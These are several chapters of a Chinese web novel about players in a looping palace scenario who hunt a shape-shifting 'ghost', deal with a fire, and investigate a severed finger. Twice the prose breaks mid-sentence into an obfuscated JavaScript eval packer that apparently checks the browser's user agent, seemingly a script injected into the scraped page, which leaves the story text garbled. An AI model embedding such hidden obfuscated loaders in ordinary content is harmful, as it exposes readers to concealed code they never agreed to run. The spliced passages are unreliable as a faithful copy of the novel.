“我之前,一直在想一个问题。”付井仪的声音很平和,“第五天的规则中说剧情会一遍遍重启,那么是谁来重启剧情?” 付井仪似乎也不期待有谁回答,径直继续道:“此前,我一直以为进行剧情重启的,是浪客行本身。然而在被黑洞吞噬的过程中,我的意识一直很清醒,这和前四天进行传送时那种令人眩晕的力量并不相同。 “浪客行中几乎没有无用线索,所以,我猜测,‘重启剧情’不一定是规则的安排,而是这个地图自带的某种力量。” “浪客行中有一种特殊地图,这种地图承载的故事是长期存续着的,玩家每次进入,都可能是在不同的时间节点。”小院中,祝灵正说。 这个信息,还是第四天时那个叫唐催寒的田螺玩家告诉他们的。 “我觉得,华清宫这张图,进入了一段循环的时间里。这和浪客行本身无关,规则只是把这段循环的时间,称为‘剧情’而已。” “不好意思,不是很懂。”李千驰举手,诚恳地说。 “我只是猜测。”祝灵正道,“我们能重启剧情,不是因为规则允许我们重启,而是华清宫因为某种原因,本身就处在不断的循环之中。换句话说,这张地图,永远只有从我们进入到梨园宴结束的那段时间,永远没有下一个黎明。” 夜风吹过窗棂,屋内烛火跳动,在微微翻卷的帘幔上映出两个相对而坐的人影。 “是什么让华清宫变成了这样呢。”付井仪道,“大胆假设一下,规则里的提示说得很明确了,就是‘鬼’。” 找到鬼,第五天立刻结束;找不到鬼,剧情会重新开始。 鬼,就是这段时间循环的中心。 小院里,几人努力消化信息,露出茫然的神情。柳七刀发问道:“那这和你一开始说的,‘鬼’选择模仿非姐是因为和她比较熟,又有什么关系呢?” “如果是‘鬼’的力量让华清宫进入时间循环,那它其实才是这张图的主人,它和我们一样,不会像NPC那样因为重启就失去记忆。”祝灵正说,“所以……我们在第一轮剧情里适应环境、寻找线索的同时,会不会,‘鬼’也在接触、观察我们这些外来者?” “现在,它已经有了熟悉的模仿对象,所以它出现了。” 屋内,付井仪将那把铜铰放回桌面,发出咚的一声轻响,如同说书人的醒木拍桌。他的表情依然很平静,仿佛屋内只有他一人,但放在桌下的左手,已经扣紧了膝上青玉流的琴弦。 他抬眼,看向坐在对面那人:“我说对了么?” 小院里,因为祝灵正提出的猜想,几人一时间都陷入了沉默。 他们的脑回路差别很大,李千驰和祝灵正还在复盘这个猜测的逻辑有没有问题,柳七刀和祁云纵已经开始回想起第一轮剧情里和仇非接触比较多的人了。然而,除了最后的梨园宴,他们和仇非在一起的时间也不多,只知道仇非虽然住在讲武殿,但大多数时间还是在华清宫中、尤其是梨园一带活动的。 几人各想各的,谁也没率先开口说话。对其他人而言,本就安静的夜在此时无疑是更加沉寂了,但对尹有攸来说,这依然是一个十分活跃的夜晚,无论是起夜的乐师打着呵欠关上房门、远处侍卫来回走动,甚至近处花瓣落在水面上的声音,都十分清晰。 他抬起眼,看向面前的梨园。鳞次栉比的馆阁和暗色的院墙在惨淡的月光下像是深海一样起伏着,平静的海面下,是无数悄无声息涌动着的暗流。在这样寻常的外表下,他隐约听到了另外一种奇怪的声音。 那是一声闷响,听起来像是铜器磕碰的动静。起初,尹有攸并没有在意这种声音,那可能只是一个打盹的监门卫倚在墙边睡了过去,手中的长戟落在了地上。但很快,同样的方向便传来了一种非常细微的、绵密的簌簌声,听起来像是在吞噬着什么一样,正以飞快的速度逐渐扩大着。 不过瞬息,尹有攸便意识到了那是什么声音,他几乎是脱口而出:“着火了!” ——像是应和他的话一样,梨园东面突兀地出现了一抹不祥的亮色,那是乐师们居住的小院的方向。 冬日里,气候干燥,火势蔓延得快,估计很快就要有人来查看情况了。再停留下去势必要被NPC发现,李千驰朝那个方向看了一眼,无奈地摇了摇头:“今晚就先到这吧。” 他们走得及时,几乎是前脚刚散,后脚摇曳的火光便映亮了夜空,骚乱声也随之响起。柳七刀带着祝灵正挂好扶摇直接翻墙,刚躲进花圃,便听见值更的宫人将梆子敲得震天响,疾呼道:“走水!走水!” “这梨园还真是多灾多难,第一轮碰上祁云纵装鬼,第二轮里就着火……”眼看着离得近的守卫已经纷纷向梨园赶来,他低声嘟囔道。 哎,不对啊。 柳七刀摸了摸下巴,后知后觉地意识到,第一轮剧情里可没有梨园着火这一遭。 这会儿,大多数人已经被惊醒,远远近近的屋内都陆续亮起了灯光,有反应快的宫人已经抄起檐下备水的铜勺朝火场奔去,附近巡逻的金吾卫也赶了过来。 刚离开梨园的尹有攸也混进了前来救火的人群中,刚到梨园门口,便被金吾卫领队拦了下来:“你去哪了?” “……走远了,刚回来。”尹有攸不会撒谎,磕磕绊绊地找了个借口,好在NPC对他的活动轨迹也不是很关心,随口训斥两句,给他手里塞了一个用竹筒和水袋做的溅筒式灭火器,便带队朝火场赶去。 远远地看到火场,尹有攸便发现,这场火比他想象中的要严重一些,小院中的屋子已经彻底着了,房梁在熊熊烈火中不断收缩扭曲,看样子是彻底救不回来了。 估计其他人也是这么想的,看那些早到的宫人,只是在外围控制着火势,至于那间屋子,大有让它自己烧尽的架势。 就在这时,尹有攸猝不及防地听到了一道短促的琴声。 “把水——”领队还没说完,身侧忽然刮过一道劲风,他目瞪口呆,就看到队末那个向来迟到早退的新人抢过一边宫人手中蓄水的铜勺便向火场中冲去,动作快得几乎留下了残影,“他疯啦?!” 尹有攸速度太快,在场的人竟然都没反应过来,硬是没拦住,让他从人群中强行分开一条路,冲向了火中。 滚滚热浪扑面而来,呛鼻的烟雾夹杂着飞卷的灰烬,熏得人睁不开眼。“轰”的一声,又一根横梁在大火中砸向地面,火焰顿时呼啦一下高高窜起,几乎把半边夜空都染成了红色。尹有攸抬起被水打湿的手臂挡在面前,艰难地向里看,便分明看到,在因为高温而不断扭曲的空气中,有道人影赫然倒在地上,一把桐木琴落在脚边,已经燃烧了起来。 他呼吸一滞,也不管额发已经被距离极近的火焰灼烧得卷曲焦枯起来,就要跃进火里。千钧一发之际,却有人从后面一把抓住了他的衣领,硬是把他拽停了下来。 “别上当。”付井仪低声道,手上用力,把尹有攸拖离火场,“里面的不是我。” 他说完这句话便松手走向了一边,和那些还没回过神来的梨园乐师们站在一起。尹有攸咳了几声,再抬眼看时,烈火中空空荡荡,哪还有什么人影。 很快,他就被愤怒的领队赶过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他们之间的交流向来开门见山,连招呼也没打,付井仪直接道:“八成可能性,‘鬼’是师襄,但还不能完全确定,暂时不要指认。” 听到他这么说,尹有攸并没有多惊讶,这个答案虽然在意料之外,但仔细一想,也是情理之中。回忆起来,第一轮剧情时,明明同在梨园,但师襄和其他人却几乎没有接触过,准确地说,她似乎把大多数玩家之间的交流都屏蔽掉了,总是和NPC在一起活动。 当时他还以为这是聪明人的谨慎,但如果师襄是“鬼”的话,一切似乎又有了一种新的解释。再一想,第一轮剧情中,仇非也经常暗中出入梨园,和付井仪、曲小蕨见面,估计那时候,“师襄”就在观察她了。 “她要动手,我先一步推倒烛台,放了这把火。”付井仪淡淡道,“可以确认的是,‘鬼’不属于普通NPC行列,在她面前违反人设没有惩罚。目前看来,它的手段主要是以幻声、幻象混淆视听。” “还会变成玩家,不过‘鬼’是害怕技能伤害的。”尹有攸想起今晚他们撞见的仇非,补充道。 付井仪微微颔首,提醒道:“尽快和其他人联系上。凡事三思而后行。” 空气中弥漫着大火过后刺鼻的焦糊味,梨园仆役们抱怨着,在已经看不出原本模样的小楼废墟中翻找着还能用的东西。这屋里还有些没完全烧着的乐谱,被人轻轻一碰就散架了,只剩一半的残破书页在夜风里翻卷着,像纷飞的白蝶。 师襄抬起手,接住了飘到面前的碎片。她微微一用力,早就被火燎得干枯卷曲的乐谱残页发出微不可闻的咔嚓声,化作了指间纷纷下落的灰烬。 随后,她露出了一个浅浅的微笑。 这个微笑只是一个单纯的微笑,并没有什么挑衅或者危险的意味,从表情到动作,都显得很自然、很放松,但这间被烧掉的屋子正属于师襄,一个正常人在这时候不应该笑得出来。 付井仪还在远远注视着她,这会儿,心就慢慢沉了下去。 他本来就已经确定师襄一定与“鬼”有关,只是还拿不准,究竟是“鬼”在模仿她,还是“鬼”就是她。 “你说鬼会变成玩家,是遇见谁了?”他问尹有攸。 “仇非。”尹有攸答道,“被柳七刀和祁云纵看穿之后,它就直接消失了。” 他们俩站的这条小径和火场有一段距离,没人往这边走,安静得很。趁这个机会,尹有攸快速地给付井仪讲了一遍今夜发生的事情。 这不是什么好消息。显而易见的,“仇非”和“师襄”的情况并不相同。被鬼模仿出来的“仇非”会和玩家积极沟通、攻击倾向明显,被识破和攻击之后会消失;而“师襄”回避交流、独来独往,被付井仪当面质疑后,选择攻击他,但并没有消失。 他沉吟了一会儿。 被模仿出来的“仇非”,其实可以看做是“鬼”的一种攻击手段。而相比之下,师襄更像是“它”的……载体。 “鬼”夺走了师襄的身份,也许是寄居在她的身体里、也许是直接变成了她,在梨园中生活下去。它大概是很谨慎的,会回避交流,不必要的时候不会沟通,显然是不想让玩家们对鬼的寻找波及到“师襄”这个身份。基于对这一点的考量,付井仪在师襄表现出攻击性的第一时间便选择推倒烛台、将整个梨园都卷了进来,果然,师襄没有再继续攻击。 ——“鬼”看上去似乎更加向往平静的生活,维持表面的安宁好像比除去玩家们这种外来者更加重要。 这个结论有些奇怪,他目前还没有想到“鬼”这么做的原因。 远处,师襄和身边陪伴的同伴说了些什么,跟着其他乐师回到她们的小楼中去了。她的步伐很轻盈,明明不久前才刚被拆穿,现在似乎对付井仪这边便已经毫不关心了,连头都没回一下。 她越是这样游刃有余,付井仪心中的警惕感就越强。他们已经在第五天滞留很久了,虽然玩家们也越来越熟悉华清宫的一切,但这里毕竟是NPC和鬼的世界—— 想到这里,付井仪心中一动,仿佛隐约摸到了什么头绪,但也只是非常模糊的一点影子。 尹有攸看他面色严肃,犹豫了一下,还是问道:“真正的师襄还好么?” 付井仪只能回答:“不知道。” 回想起来,师襄的异常很早就开始了,然而从他们进入第五天以来,已经过去了差不多一个星期,真正的师襄却始终没有出现。 华清宫里有NPC,有鬼,有人机,即使看起来风平浪静,它依然有着比前四天都要凶险的难度。 也许,他们该做好最坏的打算。 44. 第五天·华清宫(四十四) 天边浮现出第一缕鱼肚白的时候,柳七刀顶着两个大黑眼圈,呵欠连天,提着一桶鸡食艰难地走到了围栏前面。 “嗟,来食!”他向围栏内扬起一把谷壳。 鸡群小小地骚动了一下,但并没有出现他预想中争先恐后上来抢食的画面。御鸡大爷们被伺候惯了,脾气不小,柳七刀只好改变策略,老老实实地蹲下来整理起食槽,在心里腹诽着万恶的旧社会。 “早上好。” 祝灵正走路没声,跟个幽灵一样地走到他旁边蹲下,也是一副没睡醒的样子。柳七刀转头看了他一眼,内心欣慰,想到在他孜孜不倦的带动下祝灵正都会主动跟人打招呼了,有一种看到孩子茁壮成长的诡异感觉。 “快干活,等会儿找个机会溜出去。”他往祝灵正手里塞了个瓢,嘟囔道,“昨晚上那鬼真吓人,得先去看看我非姐咋样了。” 祝灵正慢吞吞地给面前望眼欲穿的鸡递上一瓢谷粒:“你知道仇非在哪吗?” 柳七刀一噎,蔫了:“不知道。” 第一轮剧情里,玩家们抵达华清宫的时间有早有晚,差异很大,这一轮大概率也一样,别说找到仇非了,她可能都不在宫中。 都说第五天难,但柳七刀觉得第五天主要不是难,是烦。除了和人机打起来的时候,武力几乎没办法解决任何问题;想动脑子了,又不知道朝哪个方向去努力。他现在做什么都感觉束手束脚的,很不痛快,但偏偏又没有什么别的办法,只好捏着鼻子忍了。 好不容易干完手上的活,将御鸡大爷们喂饱了,两个人便走向柴房。这里是缭墙外做活的杂役们偷懒耍滑的好去处,但凡手头没事便会聚集到这里凑成一群玩叶子戏,只要混进人群里,再想不知不觉地偷溜出去,就很简单了。 这一次,柳七刀也是这么打算的。他和祝灵正非常低调地融入了正在围观牌局的人群中,准备挑一个好时机慢慢淡出,然而,杂役们今天讨论的话题却不是角逐得正火热的牌局。 “梨园走水那事儿,你们知道吗?” 柳七刀顿时停下脚步。 昨晚梨园一着火,由他、祝灵正、祁云纵、尹有攸和李千驰组成的五人临时探索小队便作鸟兽散,柳七刀二人更是直接找了条小路跑了回去,这火是怎么着的、又造成了什么后果,他俩还一概不知,正好顺便听一耳朵。 杂役们不知道有人在仔细听着,只是有一搭没一搭地闲聊:“你们别说,我昨晚起夜的时候就看到了,那火还挺大,半边天都亮了,不过听说只着了一间院子。” “天这么干,又不奇怪。”另一个说,“就是梨园那教习正好倒了大霉。我听小翠说,那人心眼可是真黑,你要是跳不好唱不好了,就得被锁在楼上不给饭吃不给水喝,这次正好趁这个由头叫她走人。” 又有杂役道:“那个姓英的不是快来了?这下代教习要成总教习了。” 说到这里,便有人抱怨道:“正准备着梨园宴,又闹这种事,新教习什么脾气大家也不知道,这下早备好的一应物件说不准又得换,真是一天不让人安生。” 听来听去都是些没意义的消息,柳七刀听得兴致缺缺,正打算拉上祝灵正溜走,却看到有个杂役神情紧张,四处观望一番,明显是心里有鬼的模样。眼见着那人朝他们看过来了,他赶紧别过眼睛,假装专心致志地看另一边的牌局。 那杂役四处看了一圈,确定没人注意,压低了声音,招呼身边几个人围成一圈,神神秘秘道:“这算什么?这都是小事。” 这些跑腿的杂役平时在华清宫内外进进出出,消息最为灵通,说不准什么时候就能听到难得的情报。柳七刀和祝灵正的听力虽然不像尹有攸那样好得离谱,但基础的身体素质自然是远胜于这些普通NPC的,稍微挪近几步也能隐约听个大概,便听到这杂役悄声道: “昨天夜里,出事的可不光梨园。兄弟我去给换班的监门卫送饭,听他们说,在昭阳门外头,发现了人的手指头呢!” 柳七刀神色一凛,顿时紧张起来,身边祝灵正也是放轻了呼吸,两个人屏神静气,仔细侧耳听着。 听到那杂役这么说,周围人第一反应便是他在说笑,一个人顿时就锤了他一拳:“少在这唬人,这么大的事能半点动静都没有?” “你懂什么,圣人将至,这事儿能到处张扬?”那杂役眼睛一瞪,急得乡音都出来了,“我也是偶然听到的,那两个监门卫看到我过去就立刻闭嘴,接了饭盒就把我打发走了。你要是不信你就别听,但是也甭给我乱说出去啊,不然今天在场的有一个算一个,一起吃挂落!” 这个杂役平时显然人缘不错,听他这么说了,众人都信了几分,立刻有关系好的追问道:“你理他干嘛,什么手指头?咋发现的?细讲讲呗!” “我也就听到那么几句,说是巡山的时候看到的,就是一根人的小拇指,但断面新鲜着呢,肯定是这两天断的。”那人压低声音,绘声绘色道,“巡逻的人觉得奇怪,又看土像是翻过的,就找了个耙一扒拉,你们猜怎么着?那黄土底下全都渗透了血,全是血,吓得金吾卫连夜把后山封了!怎么样,这么大的事,你们是一点儿都不知道吧?” 杂役们啧啧称奇,五花八门地追问了起来,没一句话是在点子上的,柳七刀听得着急,干脆自己挤进去问道:“那手指是什么样的手指,男的女的,粗的细的,是刀砍下来的还是什么?” 那群杂役跟他不熟,为首的上下一打量柳七刀,表情就不怎么对了:“谁让你听了?” 柳七刀心里急得不行,脸上还要故作无辜:“耳朵长在我脑袋上,我想不听也没法啊。” 他本来身量就高,长得也好,平时灰头土脸的没什么人注意,但一细细打量起来顿时便有种鹤立鸡群的感觉了,站在这群杂役面前,更是比他们高出整整一截来,居高临下地看人时很有压迫感。那人本来还想说他两句,被这样一看,气势顿时弱了,咕哝道:“什么玩意砍的我哪知道,就听说骨节挺大,还有茧,八成是个武人的手指。” 让柳七刀这么一打岔,那杂役本来就是悄悄说点闲话,心里越发没底,也不敢再吹嘘什么了,连同伴一起散了个七七八八,只留下那群打叶子牌的人,不知道发生了什么,还在吆五喝六。 “负责这件事的是金吾卫,恐怕要从那里着手。”祝灵正看着那群人四散离开的背影,轻声道。 “金吾卫的内部消息不好打听,也不知道这一轮有没有人被分到那里去。”柳七刀揉了揉脑袋,烦闷道,他这会儿真恨不得自己还是上一轮剧情中的骑曹参军事,这样打探起消息来还能方便一些,“上一轮剧情里没有这件事,那打起来的肯定是玩家和人机了……出血量还那么大,肯定是一场恶战,也不知道是谁的手指断了。” 梨园宴上,他曾经短暂和人机玩家们对峙过。近距离接触之后,柳七刀更能感受到,那些人的眼睛里没有半点对生命的敬畏,打量着他们,就好像在看一只鸡或者一棵树,从心底里就没有将玩家们当成是同类。 而玩家呢?尤其是蓬莱那什么什么队的玩家,根本就不能将这些曾经与他们一样都是活生生的人的人机玩家们看做是完全敌对的异类,面对他们,下手肯定是有几分犹豫的。 一方心有不忍,一方毫不留情,玩家们首先就落了下风。 当然,这或许并不适用于让你排恰鸡结果你排了个啥队,他们队和人机队之间已经有着不死不休的血仇了,柳七刀甚至觉得,这次在宫外打起来的,说不定就是这两支队伍之间的人。 再想也没有用,柳七刀眼睛一转,看到水井旁边放着两个旧稻草扎起来的扫把,立刻提在手里,分了祝灵正一个。 这也是他们琢磨出来的小技巧——白天无论去哪里都带着扫把,遇到人了就赶紧低头装扫地,一般不会被人注意到,可以放心地往要去的地方走。 “先去讲武殿吧,非姐上一轮就住讲武殿。”柳七刀说,自己心里也没底。他其实不太会负责安排,奈何祝灵正对华清宫实在不熟:“就算这一轮她不在那里,也可以去看看换班的金吾卫中有没有熟人,打听一下手指这件事。” “好。”祝灵正倒是没什么意见,很干脆地接过了扫帚。 斗鸡殿在内缭墙之外,他们也不打算进入宫城内区了,直接绕过开阳门向北出发。这一路上遇到的人并不多,但大多数都是一队队的兵士,看来手指事件发生后,金吾卫也加大了在华清宫外的巡逻力度。 这些守卫宫城的兵士们在巡逻时还是十分负责的,面色严肃,不苟言笑,一看就是打听不出什么消息的类型。但柳七刀心里十分有数,这只是表象,实际上再严肃的人回到集体宿舍熄了灯之后也会畅谈八卦,这是他上一轮剧情在讲武殿得出的经验。 很快,二人闷头扫着地,扫出了津阳门。 这还是祝灵正两轮剧情以来第一次见到津阳门外的场景,虽然他在骊山之巅的降圣观曾无数次眺望过山脚,但那时的感触和亲自站在这里相比,又是不太相同的。曾经恢宏壮丽到难以用语言描述的景象落进了现实,似乎突然变得普通起来,这不是华清宫在改变,而是他的心境发生了变化。 白云苍狗,人间万象,玩家只是重复着其中某一段历史的过客而已。 津阳门外是宽阔的河面,讲武殿就在河的东西两岸。这名字听起来似乎是单一大殿,实则是无数相似厢房组成的宫殿群落,西讲武殿是为来行宫面圣的武官边将所准备的,而金吾卫、千牛卫这些南衙府兵统一居住在东讲武殿,也就是柳七刀在上一轮剧情中和唐逐星、殷炽一起住过的集体宿舍。 ——当然,他们那时候虽然都在东讲武殿,但分属于金吾卫、千牛卫与监门卫三个不同体系,住处相隔甚远,再加上换班时间有所差异,也不是能天天见到的。 这会儿是白天,大多数府兵都在宫城中,只有少数值夜班的人回来休息,还没走近,就能听到那一间间厢房中传来的震天呼噜声。院子里也有杂役在慢吞吞地扫着落叶,看到柳七刀和祝灵正这两个生脸,露出迷茫的眼神,不知道他俩是从哪来的。 “我上一轮就住那间房。”故地重游,但柳七刀却顾不上感慨,他心里记挂的全是那根断指,指着一间房低声对祝灵正说,“我记得每天会有人来更换床下的溲器,等会儿咱们就把人截住,代替他们进房间换溲器,看看有没有认识的人。” “好。”祝灵正点点头。 柳七刀看他反应平淡,在心里松了口气。不是他说,衍天宗那种奇特的、玄之又玄的门派气质看上去就和杂役做的这种脏活累活格格不入,他还怕祝灵正不乐意端溲器呢。 他这么想,便听到祝灵正问:“溲器是什么?” 负责为讲武殿更换溲器的杂役恐怕万万不会想到,这年头连尿盆都有人抢劫。 柳七刀拍拍手,把人往树丛里一拖,捡起地上的溲器。虽然听着可怕,但每天端进住处的溲器都是擦洗干净的,不去想它的用途的话,完全可以视为普通的铜盆。 他非常公平地将一叠溲器分给了祝灵正一半。 祝灵正欲言又止,还是接过来了,两个人便分头朝东西两趟厢房走去。住在这样的厢房之中的人,多少都是有一官半职的,便如同上一轮剧情中的柳七刀,是以待遇也不错,并不像普通兵士的居所那样拥挤。 他选了一间屋子,在门口站定,便听到里面鼾声如雷,回来休班的人显然睡得正香。这样的一看就是NPC而非玩家,他直接掉头去了隔壁,然而隔壁睡着的也是NPC。 第二轮剧情显然和第一轮差别很大,柳七刀不信邪,顺着回廊找了半天,愣是没找到一间住着玩家的屋子,眼看就只剩最后一间厢房了,他端着溲器的手都快酸了,没报什么希望地去叩门。 吱呀—— 他的手刚碰到门框,还没敲响,房门却自己朝里打开了。柳七刀一愣,就看到窗边的帘幔全都被拉得严严实实、密不透光,即使在白天也显得十分阴暗,乍一看屋内空无一人,床上的被褥叠得整整齐齐,似乎屋主并不在房内。 他皱起眉头,刚往里踏进一步,突然感觉后脑一凉,一股劲风扑来,紧接着侧颈便是重重一痛。这一记重击来得既快又准,显然是奔着将人敲晕去的,但好在柳七刀已然有所防备,卸掉了大部分力道,因此只是眼前微微一黑,又重新站稳。 ——有人埋伏在门后偷袭! 他当即意识到这一点,立刻扔下怀里的铜盆,反手便朝小队背包摸去。而来人显然也没料到这一记手刀没有劈晕柳七刀,短促地“啧”了一声。 柳七刀刚要抽出新亭侯,听到这有几分耳熟的声音,反而缓下了动作,不确定道:“……唐逐星?” “是你?” 门板“砰”的一声合上,来人现出身形,随手将一边的帘幔拉开。日光重新涌进房间,借着明亮起来的光线,柳七刀看得清楚,门后的人的确是唐逐星,但和上次威风凛凛的千牛卫轻甲不同,这会儿的他一身洒扫宫人打扮,灰扑扑的,看起来很不显眼。 他们俩在上一轮剧情里都住在讲武殿,此刻也算是熟人相见了。唐逐星看到柳七刀还在揉着隐隐作痛的侧颈,干笑了两声:“不好意思。” “没关系,我觉得还好。” 柳七刀说。他本来确实想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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本来宫门附近山道都有看守,但天子游幸在即,金吾卫忙着在大路上围拉青绳——就是第一轮剧情里柳七刀刚进图时干的活,巡山的兵士数量锐减,竟然没人拦住这人,让他一路不知不觉地走到了昭阳门附近。根据这农人的说法,他先是嗅到了一股淡淡的血腥味,这味道被掩盖在梅花的清香之中,但此时正是冬日,家家农户杀羊宰鸡的,对这种味道在熟悉不过,农人好奇心起,就往山后多绕了段路,这一绕,便踩到地上松散泥土中半截手指。他吓得魂飞魄散,立刻转头就走,正要下山时,却碰到了巡山回来的金吾卫。金吾卫见这人神色慌张,察觉到不对,便将农人拦下细细审问。 对农人的记述就到此为止,接下来就是金吾卫的调查结果了。天子近卫在这方面的专业性毋容置疑,对那节断指的勘察自然十分细致。那是大半根小拇指,骨节宽大,属于男性,关节处及内侧指根有薄茧,主人或是常常握刀之人;断面整齐,是刀或剑一类兵器所致,而且是十分锋利的兵器——要知道,这样的刀剑只有军中或武林门派才有。 看到这里,柳七刀差不多已经笃定,这一定是玩家和人机之间的冲突了。从唐逐星对于NPC的记载来看,他们最初的怀疑方向还是军中有人私斗,但对所有佩刀兵士进行调查之后却并没有发现断指主人,因此暂且将此事锁定在了江湖恩怨上。 另外,距离断指不远处,还有一小片泥土看起来格外暗沉,落叶也显得十分繁密。调查之后,金吾卫发现,这些泥土是被草草翻出用以遮盖打斗和脚印痕迹的——有人在这里进行过激烈的对打,但显然其中一方受了重伤,导致鲜血渗透了土壤。打斗的双方显然都有意掩盖行踪,脚印被处理得干净,均不知去向;目前,整座西绣岭已经被金吾卫封锁,等待仔细调查。 “你觉得是谁?”唐逐星见柳七刀读完了最后一页,开口问道。 “玩家和人机吧……”柳七刀说,把那摞纸还给他,“就是不知道受了重伤的是哪一方。” 他忧心忡忡,已经在心里挨个细数用刀的都有哪些门派,算来算去玩家这边也只有自己和谢不若最符合描述,人机那边则是柳秋瑟和云流岚——刚好,两边都是霸刀和刀宗。 “其实是谁不是最要紧的,最要紧的是这件事或许会引起一些连锁反应。”唐逐星道,“如果不能在唐玄宗到来之前解决这桩悬案,华清宫的守卫一定会比上一轮严格很多,那时候我们就没得玩了。” 虽然是这么说了,但他的语气还是挺轻松的,这或许是隐身机制带来的自信。柳七刀叹了口气,忽然又想到一个问题:“金吾卫把西绣岭封了?” “怎么?”唐逐星看他神色有异,也正色起来,“据我所知,昨晚他们就封住了下山的路,这会估计已经开始搜山了。” 柳七刀飞快道:“祝灵正跟我说过,他们那些来打大战的‘玩家’,就藏在西绣岭上的降圣观里。” 金吾卫如此严密的搜山之下,这五个人是绝对藏不住了,只是不知道这次的大战组里,又会不会有玩家或者人机。 他感觉大脑一片混乱,隐约觉得这一系列事情未免也有些过于巧合,却又看不出有什么逻辑上的联系,也不知道金吾卫如果真的抓到了“大战组”会对剧情和第五天产生什么样的影响。 “祝灵正?”唐逐星却皱起眉,沉声重复道。 “啊……对,你可能不认识。”柳七刀摸摸头,“是好莱坞队的衍天,跟我分到一起了。” 他没想到,听到他这么介绍,唐逐星的表情却也跟着沉了下去。 “好莱坞队的人我都知道,但他们队伍里什么时候有这么一个衍天了?” “……你别开这种玩笑啊,一点都不好玩。” 柳七刀往后退了一步,感觉有股寒气从背后慢慢地冒了上来。要是平常,他当然不至于因为这句一听就很荒诞的话而感到心慌,但这会儿刚看完调查报道,气氛本来已经就很诡异了,又听到唐逐星这么说,他顿时便有种阴森森的感觉。 唐逐星看着柳七刀的表情,也皱起了眉,看上去并不像是开玩笑的样子。 “好莱坞队没有衍天。”他以笃定的口气道,“你说的是谁?” 柳七刀感觉到自己的心跳开始逐渐加快,他仔细观察着唐逐星,将他从头到脚打量了一遍,同时缓慢地将右手背到身后,随时准备从小队背包里拿出新亭侯。 虽然祝灵正上一轮剧情里不在华清宫,但他们同住在讲武殿的时候,都听殷炽提起过这个队友,没道理唐逐星会将他忘得干干净净。有假仇非的例子在前,柳七刀现在看面前这个唐逐星,怎么看怎么可疑,他握住刀柄,反问道:“那你又是谁?” 唐逐星一直注意着他的动作,看到柳七刀握住了刀,反应也很快,反手便将螭首千机端在了手中,对准了他,两人之间的气氛立时便剑拔弩张起来。 唐逐星沉声问:“柳七刀,你要干什么?” 45. 第五天·华清宫(四十五) 看到他拿出螭首千机的一刹,柳七刀的大脑有一瞬间的停转。 ——鬼好像是不能从小队背包里拿东西的吧。 难道这个唐逐星是真的? 也许是柳七刀脸上的困惑表情过于直白,再加上他之前刚给唐逐星讲过假仇非的事情,唐逐星微一思索,立刻便读懂了他的意思:“你在怀疑我是‘鬼’假扮的?” 柳七刀没答话。他握紧新亭侯,将他从进门到现在的所有细节都回忆了一遍,试图找出面前这个人的破绽来,然而唐逐星似乎没有继续和他对峙的意思了,向后退了一小步,螭首千机的前端错开柳七刀的方向,指向了天花板。 “不知道为什么你会怀疑到我身上,但我是真的。”他说,语气又恢复了一贯的轻描淡写,“如假包换,随便你怎么问。” 他听起来很有底气,和那个生怕队友们反应过来的假仇非确实不同,但柳七刀却丝毫不敢放松警惕:“你要怎么证明?” “玩唐门最重要的是远离大团。”唐逐星说了个冷笑话。 柳七刀差点被这个梗当场说服,他艰难道:“……不行,这个不算。” 唐逐星挑了挑眉,脚底浮现出蓝色的光晕,背后咔哒一声,机械翼已经向两侧伸展开来,不大的屋子里顿时充满了机括运作的嘎吱声,正是在平地挂了个鸟翔碧空:“这样呢?” 能用玩家的技能,好像确实是真人。 柳七刀心下微微一松,但还是追问道:“你为什么埋伏在门后偷袭我?” “我哪知道来的人是你啊。”唐逐星鸟翔落地,无语道。 “那你为什么不用技能眩晕我?”柳七刀继续追问,大有不问清楚不罢休的架势。 “迷神钉晕六秒,雷震子晕四秒,唐氏手刀,长久而深沉的睡眠。”唐逐星一指地上那睡得依然很香的NPC,“换作是你,你选哪个?” 他从千机匣里抽出一枚弩箭,随手抛给柳七刀,柳七刀接住,就看到那枚弩箭上刻着一些扭曲的符号,仔细看的话,还隐隐发着微光。 “我这箭都是队友一支一支给附过魔的,辟邪驱魔打鬼,专业对口。”唐逐星懒洋洋道,“珍惜弹药,晓得不。” 柳七刀还真不知道这一点。他把弩箭还给唐逐星,想了想,觉得这应该是真人没错,看起来确实比假仇非靠谱很多。如果鬼能将玩家复刻到这个程度,那带来的威胁将完全无法估量,说不定他们早就已经团灭了—— “那你怎么可能不认识祝灵正啊!”他抓狂道,“虽然你们上一轮没见过面,但是殷炽明明说过他有这个队友,你忘了吗?” 话题重新回到祝灵正身上,唐逐星收起了螭首千机,脸上的表情也变得凝重起来。 “其实从刚开始我就想问了……这个衍天,叫‘祝灵正’的衍天,到底是谁?” “是好莱坞队的人啊!”柳七刀完全不知道怎么跟他解释,满头雾水地强调道,“上一轮你我殷炽不是都住在讲武殿吗?祝灵正上一轮被分去打大战了,宫里找不到人,殷炽那时候还让我们帮忙留意一下!” “如果你说的是真的,我只能告诉你。”唐逐星慢慢地,以一种无比冷静的语气,说出了令人毛骨悚然的话,“我的记忆里,没有祝灵正这个人,殷炽也没有让我们帮忙留意过他的队友。” 他说:“好莱坞队,从进入第五天开始,就是四个人的状态。” 柳七刀瞪着他,收起新亭侯,大跨步上前把地上的NPC拎起来扔到床上,拍拍手,指着门外:“走,现在就去见祝灵正。” 唐逐星倒是无所谓,耸了耸肩,跟在他身后径直出了门。 这会儿讲武殿外围还是没人,他们穿过回廊,朝祝灵正离开的东院方向走去。柳七刀脚下走得飞快,越靠近东院,他的内心便隐隐的有股不安。 唐逐星走在他后面,还有闲心补充:“我没必要在这种事上开玩笑。” 柳七刀的额头上隐隐沁出冷汗,他道:“我当然知道……所以才很奇怪啊。” 既然唐逐星是真的,那到底发生了什么,才会让唐逐星完全忘记祝灵正,甚至连殷炽提到过他的那部分都一起忘记了?问题如果不是出在唐逐星身上的话,难道…… 他一脚踏进东边的院落。 